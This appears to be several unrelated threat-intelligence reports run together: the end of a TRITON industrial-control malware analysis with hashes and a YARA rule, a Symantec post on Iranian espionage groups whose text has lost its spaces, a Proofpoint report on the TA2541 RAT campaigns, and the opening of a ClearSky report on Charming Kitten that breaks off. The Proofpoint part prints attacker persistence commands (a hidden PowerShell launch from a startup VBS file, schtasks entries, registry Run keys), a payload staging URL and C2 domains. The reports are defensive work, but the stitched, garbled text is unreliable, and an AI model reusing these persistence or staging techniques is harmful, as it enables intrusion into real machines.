Indicators Filename Hash trilog.exe MD5: 6c39c3f4a08d3d78f2eb973a94bd7718 SHA-256: e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230 imain.bin MD5: 437f135ba179959a580412e564d3107f SHA-256: 08c34c6ac9186b61d9f29a77ef5e618067e0bc9fe85cab1ad25dc6049c376949 inject.bin MD5: 0544d425c7555dc4e9d76b571f31f500 SHA-256: 5fc4b0076eac7aa7815302b0c3158076e3569086c4c6aa2f71cd258238440d14 library.zip MD5: 0face841f7b2953e7c29c064d6886523 SHA-256: bef59b9a3e00a14956e0cd4a1f3e7524448cbe5d3cc1295d95a15b83a3579c59 TS_cnames.pyc MD5: e98f4f3505f05bf90e17554fbc97bba9 SHA-256: 2c1d3d0a9c6f76726994b88589219cb8d9c39dd9924bc8d2d02bf41d955fe326 TsBase.pyc MD5: 288166952f934146be172f6353e9a1f5 SHA-256: 1a2ab4df156ccd685f795baee7df49f8e701f271d3e5676b507112e30ce03c42 TsHi.pyc MD5: 27c69aa39024d21ea109cc9c9d944a04 SHA-256: 758598370c3b84c6fbb452e3d7119f700f970ed566171e879d3cb41102154272 TsLow.pyc MD5: f6b3a73c8c87506acda430671360ce15 SHA-256: 5c776a33568f4c16fee7140c249c0d2b1e0798a96c7a01bfd2d5684e58c9bb32 sh.pyc MD5: 8b675db417cc8b23f4c43f3de5c83438 SHA-256: c96ed56bf7ee85a4398cc43a98b4db86d3da311c619f17c8540ae424ca6546e1 Detection 9/10 rule TRITON_ICS_FRAMEWORK  meta: author  nicholas.carr itsreallynick md5  0face841f7b2953e7c29c064d6886523 description  TRITON framework recovered during Mandiant ICS incident response strings: python_compiled  .pyc nocase ascii wide python_module_01  __module__ nocase ascii wide python_module_02  module nocase ascii wide python_script_01  import Ts nocase ascii wide python_script_02  def ts_ nocase ascii wide py_cnames_01  TS_cnames.py nocase ascii wide py_cnames_02  TRICON nocase ascii wide py_cnames_03  TriStation  nocase ascii wide py_cnames_04   chassis  nocase ascii wide py_tslibs_01  GetCpStatus nocase ascii wide py_tslibs_02  ts_ ascii wide py_tslibs_03   sequence nocase ascii wide py_tslibs_04  /import Ts(HiLowBase)[:alpha:]/ nocase ascii wide py_tslibs_05  /module\s?version/ nocase ascii wide py_tslibs_06  bad  nocase ascii wide py_tslibs_07  prog_cnt nocase ascii wide py_tsbase_01  TsBase.py nocase ascii wide py_tsbase_02  .TsBase( nocase ascii wide py_tshi_01  TsHi.py nocase ascii wide py_tshi_02  keystate nocase ascii wide py_tshi_03  GetProjectInfo nocase ascii wide py_tshi_04  GetProgramTable nocase ascii wide py_tshi_05  SafeAppendProgramMod nocase ascii wide py_tshi_06  .TsHi( ascii nocase wide py_tslow_01  TsLow.py nocase ascii wide py_tslow_02  print_last_error ascii nocase wide py_tslow_03  .TsLow( ascii nocase wide py_tslow_04  tcm_ ascii wide py_tslow_05   TCM found nocase ascii wide py_crc_01  crc.pyc nocase ascii wide py_crc_02  CRC16_MODBUS ascii wide py_crc_03  Kotov Alaxander nocase ascii wide py_crc_04  CRC_CCITT_XMODEM ascii wide py_crc_05  crc16ret ascii wide py_crc_06  CRC16_CCITT_x1D0F ascii wide py_crc_07  /CRC16_CCITT[_]/ ascii wide py_sh_01  sh.pyc nocase ascii wide py_keyword_01   FAILURE ascii wide py_keyword_02  symbol table nocase ascii wide py_TRIDENT_01  inject.bin ascii nocase wide py_TRIDENT_02  imain.bin ascii nocase wide condition: 2 of (python_) and 7 of (py_) and filesize  3MB  10/10 Attackers Deploy New ICS Attack Framework TRITON and Cause Operational Disruption to Critical Infrastructure Introduction Incident Summary Attribution Background on Process Control and Safety Instrumented Systems Safety Instrumented Systems Threat Model and Attack Scenarios Analysis of Attacker Intent Summary of Malware Capabilities Recommendations Appendix: Technical Analysis Indicators Detection
IranbasedattackersusebackdoorthreatstospyonMiddle Easterntargets TwoIranbasedattackgroupsthatappeartobeconnected,Cadelleand Chafer,havebeenusingBackdoor.
CadelspyandBackdoor.
Remexito spyonIranianindividualsandMiddleEasternorganizations.
By:SymantecSecurityResponse(/connect/user/symantecsecurityresponse) Created07Dec2015 0 Share (/connect/)  Blogs(/connect/blogs) SecurityResponse(/connect/symantecblogs/symantecsecurityresponse)   SecurityResponse  (https://twitter.com/threatintel)  (http://www.symantec.com/connect/itemfeeds/blog/2261/feed/all/en/all) SymantecOfficialBlog SYMANTECEMPLOYEE 2 2Votes http://www.symantec.com/connect/user/symantec-security-response http://www.symantec.com/connect/ http://www.symantec.com/connect/blogs http://www.symantec.com/connect/symantec-blogs/symantec-security-response http://www.symantec.com/connect/ https://twitter.com/threatintel http://www.symantec.com/connect/item-feeds/blog/2261/feed/all/en/all TwoteamsofIranbasedattackershavebeenusingbackdoorthreatstoconducttargeted surveillanceofdomesticandinternationaltargets.
Whilethegroupsareheavilytargeting individualslocatedinIran,theyvealsocompromisedairlinesandtelecomprovidersintheMiddle Eastregion,possiblyinanattempttomonitortargetsmovementsandcommunications.
Theattackersarepartoftwoseparategroupsthathaveasharedinterestintargets.
Onegroup, whichwecallCadelle,usesBackdoor.
Cadelspy (https://www.symantec.com/security_response/writeup.jsp?docid2015090808175499),while theother,whichwevenamedChafer,usesBackdoor.
Remexi (https://www.symantec.com/security_response/writeup.jsp?docid2015110911343399)and Backdoor.
Remexi.
B(https://www.symantec.com/security_response/writeup.jsp?docid2015 110911412899).Thesethreatsarecapableofopeningabackdoorandstealinginformation fromvictimscomputers TheCadelleandChafergroups SymantectelemetryidentifiedCadelleandChaferactivitydatingfromasfarbackasJuly2014, however,itslikelythatactivitybeganwellbeforethisdate.
Commandandcontrol(CC) registrantinformationpointstoactivitypossiblyasearlyas2011,whileexecutablecompilation timessuggestearly2012.Theirattackscontinuetothepresentday.
Symantecestimatesthat eachteamismadeupofbetween5and10people.
Thebackdoorthreatsthatthegroupsuseappeartobecustommade.
ItsunclearhowCadelle infectsitstargetswithBackdoor.
Cadelspy.
However,Chaferhasbeenobservedcompromising webservers,likelythroughSQLinjectionattacks,todropBackdoor.
Remexiontovictims https://www.symantec.com/security_response/writeup.jsp?docid2015-090808-1754-99 https://www.symantec.com/security_response/writeup.jsp?docid2015-110911-3433-99 https://www.symantec.com/security_response/writeup.jsp?docid2015-110911-4128-99 computers.
ChaferthenusesRemexitogatherusernamesandpasswordstohelpitspread furtheracrossthenetwork.
Thereisevidencetosuggestthatthetwoteamsmaybeconnectedinsomeway,thoughwe cannotconfirmthis.
AnumberofcomputersexperiencedbothCadelspyandRemexiinfections withinasmalltimewindow.
Inoneinstance,acomputerwascompromisedwith Backdoor.
CadelspyjustminutesafterbeinginfectedwithBackdoor.
Remexi.
TheCadelleand Chafergroupsalsokeepthesameworkinghoursandfocusonsimilartargets.
However,no sharingofCCinfrastructurebetweentheteamshasbeenobserved.
IfCadelleandChaferarenotdirectlylinked,thentheymaybeseparatelyworkingforasingle entity.
Theirvictimprofilemaybeofinteresttoanationstate.
Thevictims DatafromCadellesCCserversshowsthatalargenumberofBackdoor.
Cadelspyinfections affectedindividualusersofIranianinternetserviceproviders(ISPs)andhostingservices.
This suggeststhatthemajorityofvictimsarebasedinIran.
Therewasalsoasignificantamountof individualtargetsthatusedanonymousproxyservicestogoonline.
Reportshaveshownthat manyIraniansavailoftheseservicestoaccesssitesthatareblockedbythegovernments internetcensorshipmeasures(http://www.cnet.com/news/iraniansfindwaystobypassnet censors/).Dissidents,activists,andresearchersintheregionmayusetheseproxiesinan attempttokeeptheironlineactivitiesprivate.
Figure1.Backdoor.
Cadelspyinfectionsbyregion http://www.cnet.com/news/iranians-find-ways-to-bypass-net-censors/ Intermsoftargetedorganizations,bothCadelleandChaferseemtobeinterestedinasimilar categoryoforganizations,suchasairlinesandtelecomcompanies.
Theaffectedorganizations wewereabletoidentifyaremostlybasedintheMiddleEastregionincountriessuchasSaudi ArabiaandAfghanistan,whileoneorganizationislocatedintheUS.
Figure2.NumberofuniqueorganizationshitwithBackdoor.
CadelspyandBackdoor.
Remexifrom July2014toOctober2015 OurtelemetryshowsthatamongmorethanadozenentitiesthatexperiencedCadelspyand Remexiinfections,fourofthemwerecompromisedwithbothofthethreatsatsomestages.
In mostinstances,victimcomputerswereinfectedwitheitherBackdoor.
Cadelspyor Backdoor.
Remexi,notboth.
Lessthanfivepercentofcomputerswereinfectedwithbothmalware families.
Inoneaffectedorganization,therewasintermittentactivitybetweenthethreatsoverten months.
Acombinedtotalof60computerswerecompromisedinanotherorganizationforalmost ayear.
Themalwaresactivityonvictimcomputersappearstodependonthetargets.
Onecomputerthat wasinfectedwithbothCadelspyandRemexiwasasystemthatranaSIMcardediting application.
Othercompromisedcomputersincludedthosebelongingtowebdevelopers,orare fileanddatabaseservers.
ThenatureofthevictimssuggeststhatCadelleandChaferareprimarilyinterestedintracking individualsintermsoftheirmovementsandcommunications.
Compromisingregionaltelcosand airlinescanhelptheattackersachievethisaim.
BasedinIran?
Thereareanumberoffactorsinthesegroupscampaignsthatsuggeststhattheattackersmay bebasedinIran.
CadelleandChaferaremostactiveduringthedaytimewithinIranstimezone andprimarilyoperateduringIransbusinessweek(SaturdaythroughThursday).
Figure3.CadelleandChafersactivitylevelsbyhourinIranstimezone(UTC3.5) Additionally,SymantecobservedthatBackdoor.
Cadelspysfilestringsseemtoincludedates writtenintheSolarHijri(https://en.wikipedia.org/wiki/Solar_Hijri_calendar)calendar,whichis usedinIranandAfghanistan.
WhiletheGregoriancalendarmarksthecurrentyearas2015,the SolarHijricalendarstatesthatitis1394.Whenweconvertedthedatesinthefilestringsfromthe SolarHijricalendartotheGregorianone,wefoundthattheywereclosetothecompilationtimes oftheexecutablesandalsoclosetowhenCadellestargetswereinitiallycompromised.
Basedonouranalysis,webelievethatCadelleandChafersvictimsaremostlikelytobeof interesttoanIranianentity.
CadelleandChaferarebynomeansthefirstIranbasedattackgroup toappear.
OthergroupsattributedtoIranianattackers,suchasRocketKitten,havetargeted Iranianindividualsinthepast,includinganonymousproxyusers,researchers,journalists,and dissidents.
Backdoor.
RemexiactivityinparticularisreminiscentofOperationCleaver,as documentedbyCylance (http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf), andmaypossiblybeacontinuationofthatactivity.
CadelleandChafersmalware Thegroupsuseonemalwarefamilyeachtoopenabackdoorandstealinformationfromthe compromisedcomputer.
CadelleusesBackdoor.
CadelspywhileChaferoperateswith Backdoor.
RemexiandBackdoor.
Remexi.
B. https://en.wikipedia.org/wiki/Solar_Hijri_calendar http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf Cadelspyinitiallyarrivesonthecomputerasadropper,whichdownloadstwoinstaller componentscateringtowhetherthevictimisrunninga32bitor64bitsystem.
Thedropperthen executestheappropriateinstaller,whichlaunchesCadelspysmaliciouspayloadandallowsitto runwheneveranyWindowsprogramisexecuted.
Cadelspysmainpayloadcontainsitsbackdoorfunctionality,allowingthethreattocarryoutthe followingactivities: Logkeystrokesandthetitlesofopenwindows Gatherclipboarddataandsysteminformation Stealprinterinformationandanydocumentsthatweresenttobeprinted Recordaudio Capturescreenshotsandwebcamphotos Cadelspycompressesallofthestolendataintoa.cabfileanduploadsittotheattackersCC servers.
Thethreatisalsoabletoupdateitsconfigurationfiletogainadditionalfeatures.
Meanwhile,ChafersthreatRemexicontainsfewerfeaturesthanCadellesCadelspydoes.
RemexiisabasicbackdoorTrojanthatallowsattackerstoopenaremoteshellonthecomputer andexecutecommands.
Thoughthisisunsophisticated,aremoteshelldoesprovideahighly flexibleandpowerfulmeansofremoteaccessinthehandsofaskilledattacker.
Mitigation CadelleandChafersactivitiesshowthatattackgroupsdontneedadvancedskillstoconduct effectivetargetedespionageagainstvictims.
Thetwogroupsthreatshavemanagedtoremainon theirtargetscomputersforalmostayear,potentiallygivingtheattackersaccesstoanenormous amountofsensitiveinformation.
Theyrealsoawarethattheydontonlyhavetodirectlyattackthe individuals,astheycangettotheirvictimsbycompromisingtheservicesthattheyuse,suchas airlinesandtelcos.
BothCadelleandChaferarestillactivetodayandwedontexpecttoseethemendtheiractivities anytimesoon.
Individualsandorganizationswishingtoavoidbeingcompromisedbytheseteams shouldadheretothefollowingadvice: Ensurethatsoftwareoncomputersandserversisbeingregularlyupdatedtopreventknown vulnerabilitiesfrombeingexploited Treatunsolicitedemailswithsuspicion.
Targetedattacksfrequentlydistributemalware throughmaliciouslinksandattachmentsinemails.
Keepsecuritysoftwareuptodatewiththelatestdefinitions Protection NortonSecurity(https://us.norton.com/),SymantecEndpointProtection (https://www.symantec.com/endpointprotection/),andotherSymantecsecurityproducts (http://www.symantec.com/productssolutions/)protectusersagainstthesethreatsthroughthe followingdetections: AV Backdoor.
Cadelspy(https://www.symantec.com/security_response/writeup.jsp?docid2015 090808175499) Backdoor.
Remexi(https://www.symantec.com/security_response/writeup.jsp?docid2015 110911343399) Backdoor.
Remexi.
B(https://www.symantec.com/security_response/writeup.jsp?
docid2015110911412899) IPS SystemInfected:Backdoor.
CadelspyActivity2 (http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid28849) SystemInfected:Backdoor.
RemexiActivity (http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid28967) Indicatorsofcompromise Wehavealsocompiledanindicatorsofcompromisedocument (http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy RemexiIOC.pdf)containingfurtherdetailswhichcanbeusedtohelpidentifythethreatsifthey arepresentinyourenvironment.
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1/12 February 9, 2022 Charting TA2541s Flight proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight Threat Insight Charting TA2541s Flight February 15, 2022 Selena Larson and Joe Wise Key Findings Proofpoint researchers have tracked a persistent cybercrime threat actor targeting aviation, aerospace, transportation, manufacturing, and defense industries for years.
The threat actor consistently uses remote access trojans (RATs) that can be used to remotely control compromised machines.
The threat actor uses consistent themes related to aviation, transportation, and travel.
The threat actor has used similar themes and targeting since 2017.
Proofpoint calls this actor TA2541.
Overview TA2541 is a persistent cybercriminal actor that distributes various remote access trojans (RATs) targeting the aviation, aerospace, transportation, and defense industries, among others.
Proofpoint has tracked this threat actor since 2017, and it has used consistent tactics, techniques, and procedures (TTPs) in that time.
Entities in the targeted sectors should be aware of the actors TTPs and use the information provided for hunting and detection.
TA2541 uses themes related to aviation, transportation, and travel.
When Proofpoint first started tracking this actor, the group sent macro-laden Microsoft Word attachments that downloaded the RAT payload.
The group pivoted, and now they more frequently send messages with links to cloud services such as Google Drive hosting the payload.
Proofpoint assesses TA2541 is a cybercriminal threat actor due to its use of specific commodity malware, broad targeting with high volume messages, and command and control infrastructure.
While public reporting detailing similar threat activities exists since at least 2019, this is the first time Proofpoint is sharing comprehensive details linking public and private data under one threat activity cluster we call TA2541.
Campaign Details Unlike many cybercrime threat actors distributing commodity malware, TA2541 does not typically use current events, trending topics, or news items in its social engineering lures.
In nearly all observed campaigns, TA2541 uses lure themes that include transportation related https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight https://www.proofpoint.com/us https://www.proofpoint.com/us/blog/threat-insight 2/12 terms such as flight, aircraft, fuel, yacht, charter, etc.
Figure 1: Email lure requesting information on aircraft parts.
3/12 Figure 2: Email lure requesting ambulatory flight information.
TA2541 demonstrates persistent and ongoing threat activity since January 2017.
Typically, its malware campaigns include hundreds to thousands of messages, although it is rare to see TA2541 send more than 10,000 messages at one time.
Campaigns impact hundreds of organizations globally, with recurring targets in North America, Europe, and the Middle East.
Messages are nearly always in English.
In the spring of 2020, TA2541 briefly pivoted to adopting COVID-related lure themes consistent with their overall theme of cargo and flight details.
For example, they distributed lures associated with cargo shipments of personal protective equipment (PPE) or COVID-19 testing kits.
4/12 Figure 3: PPE themed lure used by TA2541.
The adoption of COVID-19 themes was brief, and the threat actor quickly returned to generic cargo, flight, charter, etc.
themed lures.
Multiple researchers have published data on similar activities since 2019 including Cisco Talos, Morphisec, Microsoft, Mandiant, and independent researchers.
Proofpoint can confirm the activities in these reports overlap with the threat actor tracked as TA2541.
Delivery and Installation In recent campaigns, Proofpoint observed this group using Google Drive URLs in emails that lead to an obfuscated Visual Basic Script (VBS) file.
If executed, PowerShell pulls an executable from a text file hosted on various platforms such as Pastetext, Sharetext, and GitHub.
The threat actor executes PowerShell into various Windows processes and queries Windows Management Instrumentation (WMI) for security products such as antivirus and firewall software, and attempts to disable built-in security protections.
The threat actor will collect system information before downloading the RAT on the host.
https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader https://twitter.com/MsftSecIntel/status/1392219299696152578 https://www.mandiant.com/resources/dissecting-netwire-phishing-campaigns-usage-process-hollowing https://blog.bushidotoken.net/2021/01/analysis-of-netwire-rat-campaign.html 5/12 Figure 4: Example attack chain.
While TA2541 consistently uses Google Drive, and occasionally OneDrive, to host the malicious VBS files, beginning in late 2021, Proofpoint observed this group begin using DiscordApp URLs linking to a compressed file which led to either AgentTesla or Imminent Monitor.
Discord is an increasingly popular content delivery network (CDN) used by threat actors.
Although TA2541 typically uses URLs as part of the delivery, Proofpoint has also observed this actor leverage attachments in emails.
For example, the threat actor may send compressed executables such as RAR attachments with an embedded executable containing URL to CDNs hosting the malware payload.
Listed below is an example of a VBS file used in a recent campaign leveraging the StrReverse function and PowerShells RemoteSigned functionality.
It is worth noting the VBS files are usually named to stay consistent with the overall email themes: fight, aircraft, fuel, yacht, charter, etc.
6/12 Figure 5: Contents of a sample VBS file.
Deobfuscated command: https://paste[.
]ee/r/01f2w/0 The figure below depicts an example from a recent campaign where the PowerShell code is hosted on the paste.ee URL.
7/12 Figure 6: Paste URL example.
Persistence: Typically, TA2541 will use Visual Basic Script (VBS) files to establish persistence with one of their favorite payloads, AsyncRAT.
This is accomplished by adding the VBS file in the startup directory which points to a PowerShell script.
Note: the VBS and PowerShell file names used are mostly named to mimic Windows or system functionality.
Examples from recent campaigns include: Persistence Example: C:\Users[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemFramework64Bits.vbs Contents of VBS file: Set Obj  CreateObject(WScript.
Shell) Obj.
Run PowerShell -ExecutionPolicy RemoteSigned -File   C:\Users\ [User]\AppData\Local\Temp\RemoteFramework64.ps1, 0 Other Recent VBS File Names Observed UserInterfaceLogin.vbs HandlerUpdate64Bits.vbs 8/12 WindowsCrashReportFix.vbs SystemHardDrive.vbs TA2541 has also established persistence by creating scheduled tasks and adding entries in the registry.
For instance, in November 2021 TA2541 distributed the payload Imminent Monitor using both of these methods.
In recent campaigns, vjw0rm and STRRAT also leveraged task creation and adding entries to the registry.
For example: Scheduled Task: schtasks.exe /Create /TN Updates\BQVIiVtepLtz /XML C:\Users\ [User]\AppData\Local\Temp\tmp7CF8.tmp schtasks /create /sc minute /mo 1 /tn Skype /tr C:\Users\ [Use]\AppData\Roaming\xubntzl.txt Registry: Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost Data: C:\Users[User]\AppData\Roaming\server\server.exe Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xubntzl Data: C:\Users\User\AppData\Roaming\xubntzl.txt Malware Proofpoint has observed TA2541 using over a dozen different malware payloads since 2017.
The threat actor uses commodity malware available for purchase on criminal forums or available in open-source repositories.
Currently, TA2541 prefers AsyncRAT, but other popular RATs include NetWire, WSH RAT and Parallax.
9/12 Figure 7: Malware used by TA2541 associated with message volume.
All the malware used by TA2541 can be used for information gathering purposes and to gain remote control of an infected machine.
At this time, Proofpoint does not know what the threat actors ultimate goals and objectives are once it achieves initial compromise.
While AsyncRAT is the current malware of choice, TA2541 has varied its malware use each year since 2017.
The threat actor will typically use just one or a handful of RATs in observed campaigns, however in 2020, Proofpoint observed TA2541 distributing over 10 different types of malware, all using the same initial infection chain.
Figure 8: Distribution of TA2541 malware over time.
Infrastructure 10/12 TA2541 uses Virtual Private Servers as part of their email sending infrastructure and frequently uses Dynamic DNS (DDNS) for C2 infrastructure.
There are multiple patterns across the C2 infrastructure and the message artifacts.
For example, historic campaigns have included the term kimjoy in the C2 domain name as well as in the threat actor reply-to address.
Another striking TTP is the common pattern observed with TA2541 C2 domains and payload staging URLs containing the keywords kimjoy, h0pe, and grace.
TA2541 also regularly uses the same domain registrars including Netdorm and No-IP DDNS, and hosting providers including xTom GmbH and Danilenko, Artyom.
Victimology Often, campaigns contained several hundred to several thousand email messages to dozens of different organizations.
Although Proofpoint has observed TA2541 targeting thousands of organizations, multiple entities across aviation, aerospace, transportation, manufacturing, and defense industries appear regularly as targets of its campaigns.
There appears to be a wide distribution across recipients, indicating TA2541 does not target people with specific roles and functions.
Conclusion TA2541 remains a consistent, active cybercrime threat, especially to entities in its most frequently targeted sectors.
Proofpoint assesses with high confidence this threat actor will continue using the same TTPs observed in historic activity with minimal change to its lure themes, delivery, and installation.
It is likely TA2541 will continue using AsyncRAT and vjw0rm in future campaigns and will likely use other commodity malware to support its objectives.
Indicators of Compromise (IOCs) C2 Domains Indicator Description Date Observed joelthomas[.]linkpc[.
]net AsyncRAT C2 Domain Throughout 2021 rick63[.]publicvm[.
]com AsyncRAT C2 Domain January 2022 tq744[.]publicvm[.
]com AsyncRAT C2 Domain January 2022 11/12 bodmas01[.]zapto[.
]org AsyncRAT C2 Domain January 2022 bigdips0n[.]publicvm[.
]com AsyncRAT C2 Domain December 2021 6001dc[.]ddns[.
]net AsyncRAT C2 Domain September 2021 kimjoy[.]ddns[.
]net Revenge RAT C2 Domain March 2021 h0pe[.]ddns[.
]net AsyncRAT C2 Domain April/May 2021 e29rava[.]ddns[.
]net AsyncRAT C2 Domain June 2021 akconsult[.]ddns[.
]net AsyncRAT C2 Domain July 2021 grace5321[.]publicvm[.
]com StrRAT C2 Domain January 2022 grace5321[.]publicvm[.
]com Imminent Monitor C2 Domain November 2021 VBS SHA256 Hashes VBS SHA256 hashes observed in recent December and January campaigns.
File Name: Aircrafts PN_ALT PN_Desc__Qty Details.vbs SHA256: 67250d5e5cb42df505b278e53ae346e7573ba60a06c3daac7ec05f853100e61c File Name: charters details.pdf.vbs SHA256: ebd7809cacae62bc94dfb8077868f53d53beb0614766213d48f4385ed09c73a6 File Name: charters details.pdf.vbs SHA256: 4717ee69d28306254b1affa7efc0a50c481c3930025e75366ce93c99505ded96 File Name: 4Pax Trip Details.pdf.vbs SHA256: d793f37eb89310ddfc6d0337598c316db0eccda4d30e34143c768235594a169c ET Signatures 12/12 2034978 - ET POLICY Pastebin-style Service (paste .ee) in TLS SNI 2034979 - ET HUNTING Powershell Request for paste .ee Page 2034980 - ET MALWARE Powershell with Decimal Encoded RUNPE Downloaded 2850933 - ETPRO HUNTING Double Extension VBS Download from Google Drive 2850934 - ETPRO HUNTING Double Extension PIF Download from Google Drive 2850936 - ETPRO HUNTING VBS Download from Google Drive
Charming Kitten Iranian cyber espionage against human rights activists, academic researchers and media outlets - and the HBO hacker connection ClearSky Cyber Security December 2017 Page 2 of 59 All rights reserved to ClearSky Cyber Security, 2017 Contents Introduction .......................................................................................................................................................... 3 Targets ......................................................................................................................................................... 3 Charming Kitten or Rocket kitten?
.......................................................................................................................
4 The HBO hacker and Charming Kitten .................................................................................................................. 5 HBO hacking indictment .............................................................................................................................. 5 Connection to Iranian government backed threat agent ............................................................................ 5 From Mesri to Charming Kitten ................................................................................................................... 6 Delivery and Infection ........................................................................................................................................16 Made up organizations and people ...............................................................................................................16 British News ...............................................................................................................................................16 Made up studens and jurnalists .................................................................................................................24 Impersonating real companies .......................................................................................................................30 United Technologies impersonation ..........................................................................................................30 Watering holes ...............................................................................................................................................32 Spear Phishing for credential stealing ............................................................................................................34 Wave 1 .......................................................................................................................................................34 Wave 2 .......................................................................................................................................................36 Wave 3 .......................................................................................................................................................37 Email tracking services ...............................................................................................................................45 Targeted emails with malware .......................................................................................................................46 DownPaper Malware ..........................................................................................................................................47 Additional samples.....................................................................................................................................49 MAGICHOUND.RETRIEVER .................................................................................................................................50 Appendix A - Indicators of Compromise .............................................................................................................51 Appendix B - Previous reports about Charming Kitten and Rocket Kitten .........................................................59 Page 3 of 59 All rights reserved to ClearSky Cyber Security, 2017 Introduction Charming Kitten is an Iranian cyberespionage group operating since approximately 2014.
This report exposes their vast espionage apparatus, active during 2016-2017.
We present incidents of company impersonation, made up organizations and individuals, spear phishing and watering hole attacks.
We analyze their exploitation, delivery, and command-and-control infrastructure, and expose DownPaper, a malware developed by the attackers, which has not been publicly documented to date.
Incidents documented in this report are likely a small fraction of the actual amount of targeted attacks, which may reach thousands of individuals.
We expose more than 85 IP addresses, 240 malicious domains, hundreds of hosts, and multiple fake entities  most of which were created in 2016-2017.
The most recent domains (com-archivecenter[.
]work, com-messengerservice[.
]work and com-videoservice[.
]work) were registered on December 2nd, 2017, and have probably not been used in attacks yet.
We present the connection between Behzad Mesri, an Iranian national recently indicted for his involvement in hacking HBO, and Charming Kitten.
We also identify other members of the group.
This report refers to two likely distinct groups, Charming Kitten and Rocket Kitten, together.
This is not to say that the two groups are one, but that due to overlap in infrastructure, tools, targets, and modus operandi we are unable to precisely attribute each incident to one or the other.
Further discussion appears in the section Charming Kitten or Rocket kitten?
Targets The attackers focus appears to be individuals of interest to Iran in the fields of Academic research (i.e.
Iranists - Scholars who study Iran), Human right and media.
Emphasis is given to Iranian dissidents living in Iran or abroad, and people who come in touch with Iranians or report on Iranian affairs such as journalists and reporters, media outlets covering Iran, and political advisors.
Most targets known to us are individuals living in Iran, the United States, Israel, and the UK.
Others live in Turkey, France, Germany, Switzerland, United Arab Emirates, India, Denmark and other countries.
Notably, the attackers usually try to gain access to private email and Facebook accounts.
They seek to infiltrate the targets social network as a hop point to breach other accounts in their social network, or to collect information about their targets.
Sometimes, they aim at establishing a foothold on the targets computer to gain access into their organization, but, based on our data, this is usually not their main objective, as opposed to other Iranian threat groups, such as Oilrig1 and CopyKittens2.
1 http://www.clearskysec.com/oilrig/ 2 http://www.clearskysec.com/tulip/ http://www.clearskysec.com/oilrig/ http://www.clearskysec.com/tulip/ Page 4 of 59 All rights reserved to ClearSky Cyber Security, 2017 Charming Kitten or Rocket kitten?
While Iranian threat actors have been well documented by security researchers, the inner workings of the ecosystem of Irans hackers is not entirely clear.
Groups can be vigorously active for years and then disappear abruptly, sometimes due to being publicly outed.
Researchers make a best-faith effort to assign operations to certain groups, but the instability in the field makes the process challenging.
A case of these obscure lines can be found in a blogpost published in coordination and parallel to this report -Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code3 by Collin Anderson and Claudio Guarnieri.
Flying Kitten (which is another name given by the security industry to Charming Kitten) was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of the IRI (Islamic Republic of Iran) government and foreign espionage targets.
FireEyes publication of Operation Saffron Rose report, which described Flying Kittens operations against aviation firms, led to the dismantling of Flying kittens infrastructure and the apparent end of its activities.
Months later, another, seemingly distinct group, Rocket Kitten, would be described by a series of reports.
While the two groups exhibited different behaviors that lend credence to the assumption they were distinct, disclosures of private toolkits strongly suggest that Rocket Kitten had used Flying Kitten resources throughout its credential-theft operations.
Moreover, Rocket Kitten had experimented with reusing malware that appeared to be an undisclosed precursor to Flying Kittens Stealer agent documented by FireEye.
These overlaps provide some indication that Rocket Kitten had some relationship to Flying Kitten  perhaps members of the latter joining the new team.
Rocket Kitten has since largely subsided as a formidable actor, and repeating the theme of its predecessor now only appears in echoes of other campaigns.
Read -Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code here: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten.
Further information is available in Appendix B - Previous reports about Charming Kitten and Rocket Kitten.
3 https://iranthreats.github.io/resources/attribution-flying-rocket-kitten https://iranthreats.github.io/resources/attribution-flying-rocket-kitten https://iranthreats.github.io/resources/attribution-flying-rocket-kitten Page 5 of 59 All rights reserved to ClearSky Cyber Security, 2017 The HBO hacker and Charming Kitten HBO hacking indictment In November 21, 2017, the United States Department of Justice unsealed an indictment4 against Behzad Mesri (A.K.A Skote Vahshat)5 for his involvement hacking and extorting HBO, and for subsequently leaking the stolen content on the Internet.
Leaked content included confidential information about upcoming episodes of the popular television series, Game of Thrones, and video files containing unreleased episodes of other television series created by HBO6.
According to the indictment, Mesri is an Iran-based computer hacker who had previously worked on behalf of the Iranian military to conduct computer network attacks that targeted military systems, nuclear software systems, and Israeli infrastructure.
At certain times, Mesri has been a member of an Iran-based hacking group called the Turk Black Hat security team.
Connection to Iranian government backed threat agent Security researcher Collin Anderson of Iran Threats7 tagged Mesris twitter account8 in a tweet9 suggesting that Mesri might be related to Charming Kitten.
4 https://www.justice.gov/usao-sdny/pr/acting-manhattan-us-attorney-announces-charges-against-iranian-national- conducting 5 https://www.fbi.gov/wanted/cyber/behzad-mesri 6 Other stolen content includes: (a) confidential video files containing unaired episodes of original HBO television programs, including episodes of Barry, Ballers, Curb Your Enthusiasm, Room 104, and The Deuce (b) scripts and plot summaries for unaired programs, including but not limited to episodes of Game of Thrones (c) confidential cast and crew contact lists (d) emails belonging to at least one HBO employee (e) financial documents and (f) online credentials for HBO social media accounts (collectively, the Stolen Data).
7 https://iranthreats.github.io/ 8 https://twitter.com/skote_vahshat 9 https://twitter.com/CDA/status/932992141466279936 https://www.justice.gov/usao-sdny/pr/acting-manhattan-us-attorney-announces-charges-against-iranian-national-conducting https://www.justice.gov/usao-sdny/pr/acting-manhattan-us-attorney-announces-charges-against-iranian-national-conducting https://www.fbi.gov/wanted/cyber/behzad-mesri https://iranthreats.github.io/ https://twitter.com/skote_vahshat https://twitter.com/CDA/status/932992141466279936 Page 6 of 59 All rights reserved to ClearSky Cyber Security, 2017 Subsequently, we tried to find connections of Mesri to other activities and people mentioned in this report.
